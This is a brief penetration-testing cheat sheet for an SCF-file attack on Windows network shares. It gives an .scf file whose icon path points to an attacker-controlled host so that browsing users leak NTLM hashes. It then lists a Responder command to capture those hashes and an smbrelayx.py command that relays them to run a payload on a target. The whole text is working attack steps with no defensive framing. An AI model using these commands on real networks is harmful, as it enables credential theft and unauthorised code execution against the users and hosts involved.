Place a file on a network share. Place the @ symbol in front of the filename to get the file on top of the share drive.
[Shell] Command=2 IconFile=\\X.X.X.X\share\pentestlab.ico [Taskbar] Command=ToggleDesktop
Wait for challenge-response
responder -wrf --lm -v -I <interface>
./smbrelayx.py -h <target_ip> -e <payload.exe>